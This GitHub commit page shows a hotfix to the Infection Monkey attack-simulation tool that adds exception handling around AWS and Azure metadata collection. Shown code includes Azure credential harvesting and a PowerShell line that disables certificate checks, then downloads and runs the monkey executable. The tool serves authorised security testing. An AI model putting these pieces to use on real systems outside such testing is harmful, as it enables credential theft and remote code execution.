Skip to content

Commit 5540007

Browse files
authored
Merge pull request #465 from guardicore/463/hotfix/exception-on-aws-network-error
463/hotfix/exception on aws network error -> master
2 parents b6b58b3 + 177f902 commit 5540007

File tree

6 files changed

+61
-29
lines changed

6 files changed

+61
-29
lines changed

monkey/common/cloud/aws_instance.py

+3-3
Original file line numberDiff line numberDiff line change
@@ -29,14 +29,14 @@ def __init__(self):
2929
AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/instance-id', timeout=2).read()
3030
self.region = self._parse_region(
3131
urllib2.urlopen(AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/placement/availability-zone').read())
32-
except urllib2.URLError as e:
33-
logger.debug("Failed init of AwsInstance while getting metadata: {}".format(e.message))
32+
except (urllib2.URLError, IOError) as e:
33+
logger.debug("Failed init of AwsInstance while getting metadata: {}".format(e.message), exc_info=True)
3434

3535
try:
3636
self.account_id = self._extract_account_id(
3737
urllib2.urlopen(
3838
AWS_LATEST_METADATA_URI_PREFIX + 'dynamic/instance-identity/document', timeout=2).read())
39-
except urllib2.URLError as e:
39+
except (urllib2.URLError, IOError) as e:
4040
logger.debug("Failed init of AwsInstance while getting dynamic instance data: {}".format(e.message))
4141

4242
@staticmethod

monkey/infection_monkey/system_info/__init__.py

+32-22
Original file line numberDiff line numberDiff line change
@@ -113,7 +113,7 @@ def get_network_info(self):
113113
:return: None. Updates class information
114114
"""
115115
LOG.debug("Reading subnets")
116-
self.info['network_info'] =\
116+
self.info['network_info'] = \
117117
{
118118
'networks': get_host_subnets(),
119119
'netstat': NetstatCollector.get_netstat_info()
@@ -122,28 +122,38 @@ def get_network_info(self):
122122
def get_azure_info(self):
123123
"""
124124
Adds credentials possibly stolen from an Azure VM instance (if we're on one)
125-
Updates the credentials structure, creating it if neccesary (compat with mimikatz)
125+
Updates the credentials structure, creating it if necessary (compat with mimikatz)
126126
:return: None. Updates class information
127127
"""
128-
from infection_monkey.config import WormConfiguration
129-
if not WormConfiguration.extract_azure_creds:
130-
return
131-
LOG.debug("Harvesting creds if on an Azure machine")
132-
azure_collector = AzureCollector()
133-
if 'credentials' not in self.info:
134-
self.info["credentials"] = {}
135-
azure_creds = azure_collector.extract_stored_credentials()
136-
for cred in azure_creds:
137-
username = cred[0]
138-
password = cred[1]
139-
if username not in self.info["credentials"]:
140-
self.info["credentials"][username] = {}
141-
# we might be losing passwords in case of multiple reset attempts on same username
142-
# or in case another collector already filled in a password for this user
143-
self.info["credentials"][username]['password'] = password
144-
if len(azure_creds) != 0:
145-
self.info["Azure"] = {}
146-
self.info["Azure"]['usernames'] = [cred[0] for cred in azure_creds]
128+
# noinspection PyBroadException
129+
try:
130+
from infection_monkey.config import WormConfiguration
131+
if not WormConfiguration.extract_azure_creds:
132+
return
133+
LOG.debug("Harvesting creds if on an Azure machine")
134+
azure_collector = AzureCollector()
135+
if 'credentials' not in self.info:
136+
self.info["credentials"] = {}
137+
azure_creds = azure_collector.extract_stored_credentials()
138+
for cred in azure_creds:
139+
username = cred[0]
140+
password = cred[1]
141+
if username not in self.info["credentials"]:
142+
self.info["credentials"][username] = {}
143+
# we might be losing passwords in case of multiple reset attempts on same username
144+
# or in case another collector already filled in a password for this user
145+
self.info["credentials"][username]['password'] = password
146+
if len(azure_creds) != 0:
147+
self.info["Azure"] = {}
148+
self.info["Azure"]['usernames'] = [cred[0] for cred in azure_creds]
149+
except Exception:
150+
# If we failed to collect azure info, no reason to fail all the collection. Log and continue.
151+
LOG.error("Failed collecting Azure info.", exc_info=True)
147152

148153
def get_aws_info(self):
149-
self.info['aws'] = AwsCollector().get_aws_info()
154+
# noinspection PyBroadException
155+
try:
156+
self.info['aws'] = AwsCollector().get_aws_info()
157+
except Exception:
158+
# If we failed to collect aws info, no reason to fail all the collection. Log and continue.
159+
LOG.error("Failed collecting AWS info.", exc_info=True)

monkey/monkey_island/cc/environment/aws.py

+1
Original file line numberDiff line numberDiff line change
@@ -9,6 +9,7 @@
99
class AwsEnvironment(Environment):
1010
def __init__(self):
1111
super(AwsEnvironment, self).__init__()
12+
# Not suppressing error here on purpose. This is critical if we're on AWS env.
1213
self.aws_info = AwsInstance()
1314
self._instance_id = self._get_instance_id()
1415
self.region = self._get_region()

monkey/monkey_island/cc/services/remote_run_aws.py

+13-1
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,5 @@
1+
import logging
2+
13
from monkey_island.cc.services.config import ConfigService
24
from common.cloud.aws_instance import AwsInstance
35
from common.cloud.aws_service import AwsService
@@ -7,6 +9,8 @@
79

810
__author__ = "itay.mizeretz"
911

12+
logger = logging.getLogger(__name__)
13+
1014

1115
class RemoteRunAwsService:
1216
aws_instance = None
@@ -23,7 +27,15 @@ def init():
2327
:return: None
2428
"""
2529
if RemoteRunAwsService.aws_instance is None:
30+
RemoteRunAwsService.try_init_aws_instance()
31+
32+
@staticmethod
33+
def try_init_aws_instance():
34+
# noinspection PyBroadException
35+
try:
2636
RemoteRunAwsService.aws_instance = AwsInstance()
37+
except Exception:
38+
logger.error("Failed init aws instance. Exception info: ", exc_info=True)
2739

2840
@staticmethod
2941
def run_aws_monkeys(instances, island_ip):
@@ -119,7 +131,7 @@ def _get_run_monkey_cmd_windows_line(bit_text, island_ip):
119131
return r"[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {" \
120132
r"$true}; (New-Object System.Net.WebClient).DownloadFile('https://" + island_ip + \
121133
r":5000/api/monkey/download/monkey-windows-" + bit_text + r".exe','.\\monkey.exe'); " \
122-
r";Start-Process -FilePath '.\\monkey.exe' -ArgumentList 'm0nk3y -s " + island_ip + r":5000'; "
134+
r";Start-Process -FilePath '.\\monkey.exe' -ArgumentList 'm0nk3y -s " + island_ip + r":5000'; "
123135

124136
@staticmethod
125137
def _get_run_monkey_cmd_line(is_linux, is_64bit, island_ip):

monkey/monkey_island/cc/services/reporting/aws_exporter.py

+2
Original file line numberDiff line numberDiff line change
@@ -24,6 +24,7 @@ def handle_report(report_json):
2424
logger.info('No issues were found by the monkey, no need to send anything')
2525
return True
2626

27+
# Not suppressing error here on purpose.
2728
current_aws_region = AwsInstance().get_region()
2829

2930
for machine in issues_list:
@@ -70,6 +71,7 @@ def _prepare_finding(issue, region):
7071
configured_product_arn = load_server_configuration_from_file()['aws'].get('sec_hub_product_arn', '')
7172
product_arn = 'arn:aws:securityhub:{region}:{arn}'.format(region=region, arn=configured_product_arn)
7273
instance_arn = 'arn:aws:ec2:' + str(region) + ':instance:{instance_id}'
74+
# Not suppressing error here on purpose.
7375
account_id = AwsInstance().get_account_id()
7476
logger.debug("aws account id acquired: {}".format(account_id))
7577

monkey/monkey_island/cc/services/reporting/exporter_init.py

+10-3
Original file line numberDiff line numberDiff line change
@@ -9,11 +9,18 @@
99

1010
def populate_exporter_list():
1111
manager = ReportExporterManager()
12-
RemoteRunAwsService.init()
13-
if RemoteRunAwsService.is_running_on_aws() and ('aws' == env.get_deployment()):
14-
manager.add_exporter_to_list(AWSExporter)
12+
try_add_aws_exporter_to_manager(manager)
1513

1614
if len(manager.get_exporters_list()) != 0:
1715
logger.debug(
1816
"Populated exporters list with the following exporters: {0}".format(str(manager.get_exporters_list())))
1917

18+
19+
def try_add_aws_exporter_to_manager(manager):
20+
# noinspection PyBroadException
21+
try:
22+
RemoteRunAwsService.init()
23+
if RemoteRunAwsService.is_running_on_aws() and ('aws' == env.get_deployment()):
24+
manager.add_exporter_to_list(AWSExporter)
25+
except Exception:
26+
logger.error("Failed adding aws exporter to manager. Exception info:", exc_info=True)

0 commit comments

Comments
 (0)